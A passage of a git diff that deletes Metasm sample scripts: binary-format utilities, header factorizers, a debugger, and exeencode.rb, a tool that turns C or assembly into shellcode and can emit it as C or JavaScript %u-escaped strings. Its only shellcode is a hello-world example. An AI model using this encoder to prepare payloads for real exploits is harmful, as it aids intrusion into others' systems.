ctr = C::CExpression[:'++', [@rb_fcntr, :'[]', [@rb_fcid]]] - C::CExpression[ctr, :',', super(recv, meth, *args)] - end - end -end -end - - - - -if __FILE__ == $0 or ARGV.delete('ignore_argv0') - -while i = ARGV.index('-e') - # setup optim_hint etc - ARGV.delete_at(i) - eval ARGV.delete_at(i) -end - -demo = case ARGV.first - when nil; :test_jit - when 'asm'; :inlineasm - when 'generate'; :generate_persistent - else :compile_ruby - end - - -case demo -when :inlineasm - # cnt.times { sys_write str } - src_asm = <<EOS - mov ecx, [ebp+8] -again: - push ecx - - mov eax, 4 - mov ebx, 1 - mov ecx, [ebp+12] - mov edx, [ebp+16] - int 80h - - pop ecx - loop again -EOS - - src = <<EOS -#{Metasm::RubyLiveCompiler::RUBY_H} - -void doit(int, char*, int); -VALUE foo(VALUE self, VALUE count, VALUE str) { - doit(VAL2INT(count), STR_PTR(str), STR_LEN(str)); - return count; -} - -void doit(int count, char *str, int strlen) { asm(#{src_asm.inspect}); } -EOS - - class Foo - end - - m = Metasm::RubyHack.compile_c(src).encoded - - Metasm::RubyHack.set_method_binary(Foo, 'bar', m, 2) - - Foo.new.bar(4, "blabla\n") - Foo.new.bar(2, "foo\n") - - -when :compile_ruby - abort 'need <class#method>' if ARGV.empty? - require 'pp' - puts '#if 0' - ARGV.each { |av| - next if not av =~ /^(.*)([.#])(.*)$/ - cls, sg, meth = $1, $2, $3.to_sym - sg = { '.' => true, '#' => false }[sg] - cls = cls.split('::').inject(::Object) { |o, cst| o.const_get(cst) } - if sg - ast = Metasm::RubyHack.read_singleton_method_ast(cls, meth) - cls.method(meth) if not ast # raise NoMethodError - puts ' --- ast ---' - pp ast - Metasm::RubyStaticCompiler.compile_singleton(cls, meth) - else - ast = Metasm::RubyHack.read_method_ast(cls, meth) - cls.instance_method(meth) if not ast - puts ' --- ast ---' - pp ast - Metasm::RubyStaticCompiler.compile(cls, meth) - end - } - puts '', ' --- C ---', '#endif' - puts Metasm::RubyStaticCompiler.dump - - -when :test_jit - class Foo - def bla(x=500) - i = 0 - x.times { i += 16 } - i - end - end - - t0 = Time.now - Metasm::RubyLiveCompiler.compile(Foo, :bla) - t1 = Time.now - ret = Foo.new.bla(0x401_0000) - puts ret.to_s(16), ret.class - t2 = Time.now - - puts "compile %.3fs run %.3fs" % [t1-t0, t2-t1] - -when :generate_persistent - Metasm::RubyStaticCompiler.compile(Metasm::Preprocessor, :getchar, :ungetchar, :unreadtok, :readtok_nopp_str, :readtok_nopp, :readtok) - Metasm::RubyStaticCompiler.compile(Metasm::Expression, :reduce_rec, :initialize) - Metasm::RubyStaticCompiler.compile_singleton(Metasm::Expression, :[]) - c_src = Metasm::RubyStaticCompiler.dump - File.open('compiledruby.c', 'w') { |fd| fd.puts c_src } if $VERBOSE - puts 'compiling..' -begin ; require 'compiledruby' ; rescue LoadError ; end - # To encode to a different file, you must also rename the Init_compliedruby() function to match the lib name - Metasm::ELF.compile_c(Metasm::Ia32.new, c_src).encode_file('compiledruby.so') - puts 'ruby -r metasm -r compiledruby ftw' -end - -end diff --git a/lib/metasm/samples/elf_list_needed.rb b/lib/metasm/samples/elf_list_needed.rb deleted file mode 100644 index 3aeba356cc..0000000000 --- a/lib/metasm/samples/elf_list_needed.rb +++ /dev/null @@ -1,46 +0,0 @@ -#!/usr/bin/env ruby -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -# -# this script reads a list of elf files, and lists its dependencies recursively -# libraries are searched in LD_LIBRARY_PATH, /usr/lib and /lib -# includes the elf interpreter -# can be useful when chrooting a binary -# - -require 'metasm' - - -paths = ENV['LD_LIBRARY_PATH'].to_s.split(':') + %w[/usr/lib /lib] -todo = ARGV.map { |file| (file[0] == ?/) ? file : "./#{file}" } -done = [] -while src = todo.shift - puts src - # could do a simple ELF.decode_file, but this is quicker - elf = Metasm::ELF.decode_file_header(src) - - if s = elf.segments.find { |s_| s_.type == 'INTERP' } - interp = elf.encoded[s.offset, s.filesz].data.chomp("\0") - if not done.include? interp - puts interp - done << interp - end - end - - elf.decode_tags - elf.decode_segments_tags_interpret - deps = elf.tag['NEEDED'].to_a - done - done.concat deps - - deps.each { |dep| - if not path = paths.find { |path_| File.exist? File.join(path_, dep) } - $stderr.puts "cannot find #{dep} for #{src}" - else - todo << File.join(path, dep) - end - } -end diff --git a/lib/metasm/samples/elf_listexports.rb b/lib/metasm/samples/elf_listexports.rb deleted file mode 100644 index 085c029a19..0000000000 --- a/lib/metasm/samples/elf_listexports.rb +++ /dev/null @@ -1,33 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -# -# this script takes a list of dll filenames as arguments, and outputs each lib export -# libname, followed by the list of the exported symbol names, in a format usable -# by the Elf class autoimport functionnality (see metasm/os/linux.rb) -# - -require 'metasm' - -bd = 'GLOBAL' -bd = 'WEAK' if ARGV.delete '--weak' -obj = true if ARGV.delete '--obj' - -ARGV.each { |f| - e = Metasm::ELF.decode_file(f) - next if not e.tag['SONAME'] - puts e.tag['SONAME'] - line = '' - e.symbols.find_all { |s| - s.name and (obj ? s.type != 'FUNC' : s.type == 'FUNC') and s.shndx != 'UNDEF' and s.bind == bd - }.map { |s| ' ' << s.name }.sort.each { |s| - if line.length + s.length >= 160 - puts line - line = '' - end - line << s - } - puts line if not line.empty? -} diff --git a/lib/metasm/samples/elfencode.rb b/lib/metasm/samples/elfencode.rb deleted file mode 100644 index 53f41b2614..0000000000 --- a/lib/metasm/samples/elfencode.rb +++ /dev/null @@ -1,25 +0,0 @@ -#!/usr/bin/env ruby - -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -require 'metasm' -$opts = { :execlass => Metasm::ELF, :exetype => :lib } -load File.join(File.dirname(__FILE__), 'exeencode.rb') - -__END__ -.pt_gnu_stack rw -// .nointerp // to disable the dynamic section, eg for stuff with int80 only -.text -.entrypoint -push bla -push fmt -call printf -push 0 -call exit - -.data -bla db "world", 0 -fmt db "Hello, %s !\n", 0 diff --git a/lib/metasm/samples/exeencode.rb b/lib/metasm/samples/exeencode.rb deleted file mode 100644 index 58e8dd49c9..0000000000 --- a/lib/metasm/samples/exeencode.rb +++ /dev/null @@ -1,129 +0,0 @@ -#!/usr/bin/env ruby -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -# -# this sample shows how to compile an executable file from source -# use --exe PE to compile a PE/ELF/MachO etc -# use --cpu MIPS/--16/--be to change the CPU -# the arg is a source file (c or asm) (some arch may not yet support C compiling) -# defaults to encoding a shellcode, use --exe to override (or the scripts samples/{elf,pe}encode) -# to compile a shellcode to a cstring, use --cstring -# - -require 'metasm' -require 'optparse' - -$opts ||= {} -$opts = { - :execlass => Metasm::Shellcode, - :cpu => Metasm::Ia32.new, - :exetype => :bin, - :macros => {} -}.merge($opts) - -OptionParser.new { |opt| - opt.on('-o file', 'output filename') { |f| $opts[:outfilename] = f } - opt.on('-i', 'dont overwrite existing outfile') { $opts[:nooverwrite_outfile] = true } - opt.on('-f', 'overwrite existing outfile (default)') { $opts.delete :nooverwrite_outfile } # without this, optparse autocomplete to --fno-pic and break older scripts... - opt.on('--c', 'parse source as a C file') { $opts[:srctype] = 'c' } - opt.on('--asm', 'parse asm as an ASM file') { $opts[:srctype] = 'asm' } - opt.on('--stdin', 'parse source on stdin') { ARGV << '-' } - opt.on('-v', '-W', 'verbose') { $VERBOSE=true } - opt.on('-d', 'debug') { $DEBUG=$VERBOSE=true } - opt.on('-D var=val', 'define a preprocessor macro') { |v| v0, v1 = v.split('=', 2) ; $opts[:macros][v0] = v1 } - opt.on('--cstring', 'encode output as a C string') { $opts[:to_string] = :c } - opt.on('--jsstring', 'encode output as a js string') { $opts[:to_string] = :js } - opt.on('--string', 'encode output as a string to stdout') { $opts[:to_string] = :inspect } - opt.on('--varname name', 'the variable name for string output') { |v| $opts[:varname] = v } - opt.on('-e class', '--exe class', 'use a specific ExeFormat class') { |c| $opts[:execlass] = Metasm.const_get(c) } - opt.on('--cpu cpu', 'use a specific CPU class') { |c| $opts[:cpu] = Metasm.const_get(c).new } - # must come after --cpu in commandline - opt.on('--16', 'set cpu in 16bit mode') { $opts[:cpu].size = 16 } - opt.on('--le', 'set cpu in little-endian mode') { $opts[:cpu].endianness = :little } - opt.on('--be', 'set cpu in big-endian mode') { $opts[:cpu].endianness = :big } - opt.on('--fno-pic', 'generate position-dependant code') { $opts[:cpu].generate_PIC = false } - opt.on('--shared', '--lib', '--dll', 'generate shared library') { $opts[:exetype] = :lib } - opt.on('--ruby-module-hack', 'use the dynldr module hack to use any ruby lib available for ruby symbols') { $opts[:dldrhack] = true } -}.parse! - -src = $opts[:macros].map { |k, v| "#define #{k} #{v}\n" }.join - -if file = ARGV.shift - $opts[:srctype] ||= 'c' if file =~ /\.c$/ - if file == '-' - src << $stdin.read - else - src << File.read(file) - end -else - $opts[:srctype] ||= $opts[:srctype_data] - src << DATA.read # the text after __END__ in this file -end - -if $opts[:outfilename] and $opts[:nooverwrite_outfile] and File.exist?($opts[:outfilename]) - abort "Error: target file exists !" -end - -if $opts[:srctype] == 'c' - exe = $opts[:execlass].compile_c($opts[:cpu], src, file) -else - exe = $opts[:execlass].assemble($opts[:cpu], src, file) -end - -if $opts[:to_string] - str = exe.encode_string - - $opts[:varname] ||= File.basename(file.to_s)[/^\w+/] || 'sc' # derive varname from filename - case $opts[:to_string] - when :inspect - str = "#{$opts[:varname]} = #{str.inspect}" - when :c - str = ["unsigned char #{$opts[:varname]}[#{str.length}] = "] + str.scan(/.{1,19}/m).map { |l| - '"' + l.unpack('C*').map { |c| '\\x%02x' % c }.join + '"' - } - str.last << ?; - when :js - str << 0 if str.length & 1 != 0 - str = ["#{$opts[:varname]} = "] + str.scan(/.{2,20}/m).map { |l| - '"' + l.unpack($opts[:cpu].endianness == :little ? 'v*' : 'n*').map { |c| '%%u%04x' % c }.join + '"+' - } - str.last[-1] = ?; - end - - if of = $opts[:outfilename] - abort "Error: target file #{of.inspect} exists !" if File.exists?(of) and $opts[:nooverwrite_outfile] - File.open(of, 'w') { |fd| fd.puts str } - puts "saved to file #{of.inspect}" - else - puts str - end -else - of = $opts[:outfilename] ||= 'a.out' - abort "Error: target file #{of.inspect} exists !" if File.exists?(of) and $opts[:nooverwrite_outfile] - Metasm::DynLdr.compile_binary_module_hack(exe) if $opts[:dldrhack] - exe.encode_file(of, $opts[:exetype]) - puts "saved to file #{of.inspect}" -end - -__END__ -#include <asm/unistd.h> -jmp getip -gotip: -mov eax, __NR_write -mov ebx, 1 -pop ecx -mov edx, strend-str -int 80h - -mov eax, __NR_exit -mov ebx, 1 -int 80h - -getip: -call gotip - -str db "Hello, world!", 0xa -strend: diff --git a/lib/metasm/samples/factorize-headers-elfimports.rb b/lib/metasm/samples/factorize-headers-elfimports.rb deleted file mode 100644 index eecb4c2bf6..0000000000 --- a/lib/metasm/samples/factorize-headers-elfimports.rb +++ /dev/null @@ -1,77 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -# -# this exemple illustrates the use of the cparser/preprocessor #factorize functionnality: -# it generates code that references to the functions imported by an ELF executable -# usage: factorize-imports.rb <exe> [<path to include dir>] [<additional func names>... !<func to exclude>] -# - -require 'metasm' -include Metasm - -require 'optparse' -opts = { :hdrs => [], :defs => {}, :path => [] } -OptionParser.new { |opt| - opt.on('-o outfile') { |f| opts[:outfile] = f } - opt.on('-H additional_header') { |f| opts[:hdrs] << f } - opt.on('--exe executable') { |f| opts[:exe] = f } - opt.on('-I path', '--includepath path') { |f| opts[:path] << f } - opt.on('-D var') { |f| k, v = f.split('=', 2) ; opts[:defs].update k => (v || '') } - opt.on('--gcc') { opts[:gcc] = true } - opt.on('--vs', '--visualstudio') { opts[:vs] = true } -}.parse!(ARGV) - -exe = AutoExe.decode_file_header(opts[:exe] || ARGV.shift) -opts[:path] ||= [ARGV.shift] if not ARGV.empty? - -case exe -when PE - exe.decode_imports - funcnames = exe.imports.map { |id| id.imports.map { |i| i.name } } -when ELF - exe.decode_segments_dynamic - funcnames = exe.symbols.map { |s| s.name if s.shndx == 'UNDEF' and s.type == 'FUNC' } - opts[:hdrs] << 'stdio.h' << 'stdlib.h' << 'unistd.h' - opts[:gcc] = true if not opts[:vs] -else raise "unsupported #{exe.class}" -end - -funcnames = funcnames.flatten.compact.uniq.sort - -ARGV.each { |n| - if n[0] == ?! - funcnames.delete n[1..-1] - else - funcnames |= [n] - end -} - -src = opts[:hdrs].map { |h| "#include <#{h}>" }.join("\n") - -parser = Ia32.new.new_cparser -parser.prepare_gcc if opts[:gcc] -parser.prepare_visualstudio if opts[:vs] -pp = parser.lexer -pp.warn_redefinition = false -pp.include_search_path[0, 0] = opts[:path] -opts[:defs].each { |k, v| pp.define k, v } -parser.factorize_init -parser.parse src - - -# delete imports not present in the header files -funcnames.delete_if { |f| - if not parser.toplevel.symbol[f] - puts "// #{f.inspect} is not defined in the headers" - true - end -} - -parser.parse "void *fnptr[] = { #{funcnames.map { |f| '&'+f }.join(', ')} };" - -outfd = (opts[:outfile] ? File.open(opts[:outfile], 'w') : $stdout) -outfd.puts parser.factorize_final -outfd.close diff --git a/lib/metasm/samples/factorize-headers-peimports.rb b/lib/metasm/samples/factorize-headers-peimports.rb deleted file mode 100644 index 294426fabd..0000000000 --- a/lib/metasm/samples/factorize-headers-peimports.rb +++ /dev/null @@ -1,109 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -# -# this exemple illustrates the use of the cparser/preprocessor #factorize functionnality: -# it generates code that references to the functions imported by a windows executable -# usage: factorize-imports.rb <exe> <exe2> <path to visual studio installation> [<additional func names>... ^<func to exclude>] -# - -require 'metasm' -include Metasm - -require 'optparse' -opts = { :hdrs => [], :defs => {}, :path => [], :exe => [] } -OptionParser.new { |opt| - opt.on('-o outfile') { |f| opts[:outfile] = f } - opt.on('-H additional_header') { |f| opts[:hdrs] << f } - opt.on('-e exe', '--exe executable') { |f| opts[:exe] << f } - opt.on('-I path', '--includepath path') { |f| opts[:path] << f } - opt.on('-D var') { |f| k, v = f.split('=', 2) ; opts[:defs].update k => (v || '') } - opt.on('--ddk') { opts[:ddk] = true } - opt.on('--vspath path') { |f| opts[:vspath] = f } -}.parse!(ARGV) - -ARGV.delete_if { |e| - next if not File.file? e - opts[:exe] << e -} - -if opts[:vspath] ||= ARGV.shift - opts[:vspath] = opts[:vspath].tr('\\', '/') - opts[:vspath] = opts[:vspath].chop if opts[:vspath][-1] == ?/ - if opts[:ddk] - opts[:path] << (opts[:vspath]+'/ddk') << (opts[:vspath]+'/api') << (opts[:vspath]+'/crt') - else - opts[:vspath] = opts[:vspath][0...-3] if opts[:vspath][-3..-1] == '/VC' - opts[:path] << (opts[:vspath]+'/VC/platformsdk/include') << (opts[:vspath]+'/VC/include') - end -end - -funcnames = opts[:exe].map { |e| - pe = PE.decode_file_header(e) rescue next - pe.decode_imports - if not pe.imports - puts "#{e} has no imports" - next - end - pe.imports.map { |id| id.imports.map { |i| i.name } } -}.flatten.compact.uniq.sort - -ARGV.each { |n| - if n[0] == ?! or n[0] == ?- or n[0] == ?^ - funcnames.delete n[1..-1] - else - funcnames |= [n] - end -} -exit if funcnames.empty? - -src = <<EOS + opts[:hdrs].to_a.map { |h| "#include <#{h}>\n" }.join -#ifdef DDK - #define NO_INTERLOCKED_INTRINSICS - typedef struct _CONTEXT CONTEXT; // needed by ntddk.h, but this will pollute the factorized output.. - typedef CONTEXT *PCONTEXT; - #define dllimport stdcall // wtff - #define SORTPP_PASS // C_ASSERT proprocessor assert.. - #define _MSC_EXTENSIONS // __volatile stuff - #include <ntddk.h> - #include <stdio.h> -#else - #define WIN32_LEAN_AND_MEAN - #include <windows.h> - #include <winternl.h> -#endif -EOS - -parser = Ia32.new.new_cparser -parser.prepare_visualstudio -pp = parser.lexer -pp.warn_redefinition = false -pp.define('_WIN32_WINNT', '0x0600') -pp.define('DDK') if opts[:ddk] -pp.define_strong('IN', '__attribute__((in))') -pp.define_strong('__in', '__attribute__((in))') -pp.define_strong('OUT', '__attribute__((out))') -pp.define_strong('__out', '__attribute__((out))') -pp.include_search_path = opts[:path] -opts[:defs].each { |k, v| pp.define k, v } -parser.factorize_init -parser.parse src - - -outfd = (opts[:outfile] ? File.open(opts[:outfile], 'w') : $stdout) - -# delete imports not present in the header files -funcnames.delete_if { |f| - if not parser.toplevel.symbol[f] - puts "// #{f.inspect} is not defined in the headers" - outfd.puts "// #{f.inspect} is not defined in the headers" if opts[:outfile] - true - end -} - -parser.parse "void *fnptr[] = { #{funcnames.map { |f| '&'+f }.join(', ')} };" - -outfd.puts parser.factorize_final -outfd.close diff --git a/lib/metasm/samples/factorize-headers.rb b/lib/metasm/samples/factorize-headers.rb deleted file mode 100644 index 5f33b2cb09..0000000000 --- a/lib/metasm/samples/factorize-headers.rb +++ /dev/null @@ -1,43 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -# -# this exemple illustrates the use of the cparser/preprocessor #factorize functionnality: -# we write some code using standard headers, and the factorize call on CParser -# gives us back the macro/C definitions that we use in our code, so that we can -# get rid of the header -# Argument: C file to factorize, [path to visual studio installation] -# with a single argument, uses GCC standard headers -# - -require 'metasm' -include Metasm - -abort 'target needed' if not file = ARGV.shift - -visualstudiopath = ARGV.shift -if visualstudiopath - stub = <<EOS -// add the path to the visual studio std headers -#ifdef __METASM__ - #pragma include_dir #{(visualstudiopath+'/platformsdk/include').inspect} - #pragma include_dir #{(visualstudiopath+'/include').inspect} - #pragma prepare_visualstudio - #pragma no_warn_redefinition -#endif -EOS -else - stub = <<EOS -#ifdef __METASM__ - #pragma prepare_gcc -#endif -EOS -end -stub << "#line 0\n" - -# to trace only pp macros (using eg an asm source), use Preprocessor#factorize instead - -puts Ia32.new.new_cparser.factorize(stub + File.read(file), file) - diff --git a/lib/metasm/samples/generate_libsigs.rb b/lib/metasm/samples/generate_libsigs.rb deleted file mode 100644 index 4c2412f6f7..0000000000 --- a/lib/metasm/samples/generate_libsigs.rb +++ /dev/null @@ -1,102 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -# this generates a signature file for all function in the given library -# usage: gensigs.rb some_lib.a somefile.o somelib.lib > mylib.fsigs -# -# to be used with the match_libsigs disassembler plugin - -# TODO handle COFF symbols (for .lib) - -require 'metasm' - -include Metasm - -AutoExe.register_signature("!<arch>\n", COFFArchive) -AutoExe.register_signature("\x4c\x01", COFF) # no signature, check the machine field = i386 - -# minimum number of raw bytes to allow in a signature -$min_sigbytes = 8 - -# read a binary file, print a signature for all symbols found -def create_sig(exe) - func = case exe - when COFFArchive; :create_sig_arch - when PE, COFF; :create_sig_coff - when ELF; :create_sig_elf - else raise 'unsupported file format' - end - send(func, exe) { |sym, edata| - sig = edata.data.unpack('H*').first - edata.reloc.each { |o, r| -# TODO if the reloc points to a known func (eg WinMain), keep the info - sz = r.length - sig[2*o, 2*sz] = '.' * sz * 2 - } - - next if sig.gsub('.', '').length < 2*$min_sigbytes - - puts sym - sig.scan(/.{1,78}/) { |s| puts ' ' + s } - } -end - -# handle coff archives -def create_sig_arch(exe) - exe.members.each { |m| - next if m.name == '/' or m.name == '//' - obj = m.exe rescue next - create_sig(obj) - } -end - -# scan an elf file -def create_sig_elf(elf) - elf.symbols.each { |sym| - next if sym.type != 'FUNC' or sym.shndx == 'UNDEF' - if elf.header.type == 'REL' - next if not data = elf.sections[sym.shndx].encoded - off = sym.value - else - next if not seg = elf.segments.find { |s| s.type == 'LOAD' and sym.value >= s.vaddr and sym.value < s.vaddr+s.memsz } - next if not data = seg.encoded - off = sym.value - seg.vaddr - end - - len = sym.size - if len == 0 - len = data.export.find_all { |k, o| o > off and k !~ /_uuid/ }.transpose[1].to_a.min || data.length - len -= off - len = 256 if len > 256 - end - - yield sym.name, data[off, len] - } -end - -# scan a pe/coff file -def create_sig_coff(coff) - if coff.kind_of? PE # dll - # dll - # TODO - else - coff.symbols.to_a.compact.each { |sym| - next if sym.type != 'FUNCTION' - next if not sym.sec_nr.kind_of? Integer - data = coff.sections[sym.sec_nr-1].encoded - off = sym.value - len = data.export.find_all { |k, o| o > off and k !~ /_uuid/ }.transpose[1].to_a.min || data.length - - yield sym.name, data[off, len] - } - end -end - -if __FILE__ == $0 - $min_sigbytes = ARGV.shift.to_i if ARGV.first =~ /^\d+$/ - targets = ARGV - targets = Dir['*.a'] + Dir['*.lib'] if targets.empty? - targets.each { |t| create_sig(AutoExe.decode_file(t)) } -end diff --git a/lib/metasm/samples/hotfix_gtk_dbg.rb b/lib/metasm/samples/hotfix_gtk_dbg.rb deleted file mode 100644 index ce565ebb66..0000000000 --- a/lib/metasm/samples/hotfix_gtk_dbg.rb +++ /dev/null @@ -1,59 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -# -# this sample script fixes a bug in some GTK libs (eg debian) where at some point -# when you close a window an invalid memory dereference is done, which crashes the -# whole metasm GUI -# -# bug backtrace: -# 0f79e6173h libgobject-2.0.so.0!g_type_check_instance+23 -# 0f79e3e38h libgobject-2.0.so.0!g_signal_handlers_disconnect_matched+28 -# 0f70004c3h libgtk-x11-2.0.so.0!gtk_accel_label_set_accel_closure+c3 -# 0f70006d3h libgtk-x11-2.0.so.0!gtk_accel_label_set_accel_widget+b3 -# ... -# - -require 'metasm' - -include Metasm - -if not pr = OS.current.find_process(ARGV.first) - abort "cant find target" -end - -dbg = pr.debugger - -dbg.continue -puts "monitoring.." if $VERBOSE -dbg.wait_target - -while dbg.state == :stopped - puts "target #{dbg.state} #{dbg.info}" if $VERBOSE - if di = dbg.di_at(dbg.pc) and di.to_s =~ /\[(...)\]/ and reg = $1.downcase.to_sym and regval = dbg.get_reg_value(reg) and regval > 0 and regval < 4096 - bt = dbg.stacktrace(2) - calladdr = bt[1][0]-5 - dbg.disassembler.disassemble_fast(calladdr) - call = dbg.di_at(calladdr) - dbg.disassembler.disassemble_fast(call.instruction.args.first.reduce) rescue nil - if di = dbg.disassembler.decoded[dbg.pc] and from = dbg.disassembler.decoded[di.block.from_normal.first] and from.block.list[-2].to_s =~ /test #{reg}, #{reg}/ - puts "fix almost null deref #{di} (#{reg}=#{regval})" if $VERBOSE - dbg.set_reg_value(reg, 0) - dbg.set_reg_value(:eip, from.block.list[-2].address) - else - dbg.kill # dont infinite loop ( TODO just dont handle the exception) - end - elsif dbg.info =~ /SEGV/ - puts "unhandled segfault #{di}..." if $VERBOSE - # yep, this actually works - dbg.set_reg_value(:eip, di.next_addr) - end - dbg.continue - puts "target running" if $VERBOSE - dbg.wait_target -end - -puts "target terminated" if $VERBOSE diff --git a/lib/metasm/samples/install_win_env.rb b/lib/metasm/samples/install_win_env.rb deleted file mode 100644 index b72532039c..0000000000 --- a/lib/metasm/samples/install_win_env.rb +++ /dev/null @@ -1,78 +0,0 @@ -# -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -# this file sets up the RUBYLIB environment variable for windows hosts -# the variable is set for the current user only -# the user session may need to be restarted so that the changes take effect - -# the path to the framework -metasmpath = File.expand_path(File.join(File.dirname(__FILE__), '..')) - -$: << metasmpath -require 'metasm' - -d = Metasm::DynLdr - -d.new_api_c <<EOS, 'advapi32' -__stdcall int RegCreateKeyExA( - void *key, - char *subkey, - int resvd, - char *class, - int options, - int access, - void *security, - void **keyout, - void *dispos); - -__stdcall int RegQueryValueExA( - void *key, - char *value, - int resvd, - int type, - void *data, - int *datalen); - -__stdcall int RegSetValueExA( - void *key, - char *value, - int resvd, - int type, - void *data, - int datalen); - -__stdcall int RegCloseKey( - void *key); - -#define KEY_ALL_ACCESS 0xf003f -#define KEY_CURRENT_USER 0x80000001 -#define REG_EXPAND_SZ 2 -EOS - -key = [0].pack('L') -ret = d.regcreatekeyexa(d::KEY_CURRENT_USER, 'Environment', 0, 0, 0, d::KEY_ALL_ACCESS, 0, key, 0) -key = key.unpack('L').first -abort 'cannot open env key' if ret != 0 - -buf = 0.chr*4096 -buflen = [buf.length].pack('L') -ret = d.regqueryvalueexa(key, 'RUBYLIB', 0, 0, buf, buflen) -data = ret == 0 ? buf[0, buflen.unpack('L').first-1] : '' - -if data.split(';').include? metasmpath - puts 'already registered' -else - data << ';' if not data.empty? - data << metasmpath << 0 - ret = d.regsetvalueexa(key, 'RUBYLIB', 0, d::REG_EXPAND_SZ, data, data.length) - if ret == 0 - puts "success - restart your session" - else - puts "failed :( - #{Metasm::WinAPI.last_error_msg(ret)}" - end -end - -d.regclosekey(key) diff --git a/lib/metasm/samples/lindebug.rb b/lib/metasm/samples/lindebug.rb deleted file mode 100644 index 7976bdaafa..0000000000 --- a/lib/metasm/samples/lindebug.rb +++ /dev/null @@ -1,718 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - -# -# this is a linux/x86 debugger with a console interface -# - -require 'metasm' - -module Ansi - CursHome = "\e[H".freeze - ClearLineAfter = "\e[0K" - ClearLineBefore = "\e[1K" - ClearLine = "\e[2K" - ClearScreen = "\e[2J" - def self.set_cursor_pos(y=1,x=1) "\e[#{y};#{x}H" end - Reset = "\e[m" - Colors = [:black, :red, :green, :yellow, :blue, :magenta, :cyan, :white, :aoeu, :reset] - def self.color(*args) - fg = true - "\e[" << args.map { |a| - case a - when :bold; 2 - when :negative; 7 - when :normal; 22 - when :positive; 27 - else - if col = Colors.index(a) - add = (fg ? 30 : 40) - fg = false - col+add - end - end - }.compact.join(';') << 'm' - end - def self.hline(len) "\e(0"<<'q'*len<<"\e(B" end - - TIOCGWINSZ = 0x5413 - TCGETS = 0x5401 - TCSETS = 0x5402 - CANON = 2 - ECHO = 8 - def self.get_terminal_size - s = ''.ljust(8) - $stdin.ioctl(TIOCGWINSZ, s) >= 0 ? s.unpack('SS') : [80, 25] - end - def self.set_term_canon(bool) - ttys = ''.ljust(256) - $stdin.ioctl(TCGETS, ttys) - tty = ttys.unpack('C*') - if bool - tty[12] &= ~(ECHO|CANON) - else - tty[12] |= ECHO|CANON - end - $stdin.ioctl(TCSETS, tty.pack('C*')) - end - - ESC_SEQ = {'A' => :up, 'B' => :down, 'C' => :right, 'D' => :left, - '1~' => :home, '2~' => :inser, '3~' => :suppr, '4~' => :end, - '5~' => :pgup, '6~' => :pgdown, - 'P' => :f1, 'Q' => :f2, 'R' => :f3, 'S' => :f4, - '15~' => :f5, '17~' => :f6, '18~' => :f7, '19~' => :f8, - '20~' => :f9, '21~' => :f10, '23~' => :f11, '24~' => :f12, - '[A' => :f1, '[B' => :f2, '[C' => :f3, '[D' => :f4, '[E' => :f5, - 'H' => :home, 'F' => :end, - } - def self.getkey - c = $stdin.getc - raise 'nonblocking $stdin?' if not c - return c if c != ?\e - c = $stdin.getc - if c != ?[ and c != ?O - $stdin.ungetc c - return ?\e - end - seq = '' - loop do - c = $stdin.getc - seq << c - case c; when ?a..?z, ?A..?Z, ?~; break end - end - ESC_SEQ[seq] || seq - end -end - -class LinDebug - attr_accessor :win_reg_height, :win_data_height, :win_code_height, :win_prpt_height - def init_screen - Ansi.set_term_canon(true) - @win_reg_height = 2 - @win_data_height = 20 - @win_code_height = 20 - resize - end - - def fini_screen - Ansi.set_term_canon(false) - $stdout.write Ansi.color(:normal, :reset) - $stdout.flush - end - - def win_data_start; @win_reg_height end - def win_code_start; win_data_start+win_data_height end - def win_prpt_start; win_code_start+win_code_height end - - Color = {:changed => Ansi.color(:cyan, :bold), :border => Ansi.color(:green), - :normal => Ansi.color(:white, :black, :normal), :hilight => Ansi.color(:blue, :white, :normal), - :status => Ansi.color(:black, :cyan)} - - # yields but keep from reentring (return defretval in this case) - def once(name, defretval=nil) - @once ||= {} - if not @once[name] - @once[name] = true - begin - defretval = yield - ensure - @once[name] = false - end - end - defretval - end - - attr_accessor :dataptr, :codeptr, :rs, :promptlog, :command - def initialize(rs) - @rs = rs - @rs.set_log_proc { |l| add_log l } - @datafmt = 'db' - - @prompthistlen = 20 - @prompthistory = [] - @promptloglen = 200 - @promptlog = [] - @promptbuf = '' - @promptpos = 0 - @log_off = 0 - @console_width = 80 - @oldregs = {} - - @running = false - @focus = :prompt - @command = {} - load_commands - trap('WINCH') { resize } - end - - def init_rs - @codeptr = @dataptr = @rs.pc # avoid initial faults - end - - def main_loop - begin - begin - init_screen - init_rs - main_loop_inner - rescue Errno::ESRCH - log "target does not exist anymore" - ensure - fini_screen - $stdout.print Ansi.set_cursor_pos(@console_height, 1) - end - rescue - puts $!, $!.backtrace - end - puts @promptlog.last - end - - # optimize string to display to stdout - # currently only skips unchanged lines - # could also match end of lines (spaces), but would need to check for color codes etc - def optimize_screen(buf) - end - - # display the text buffer screenlines to the screen, leaves the 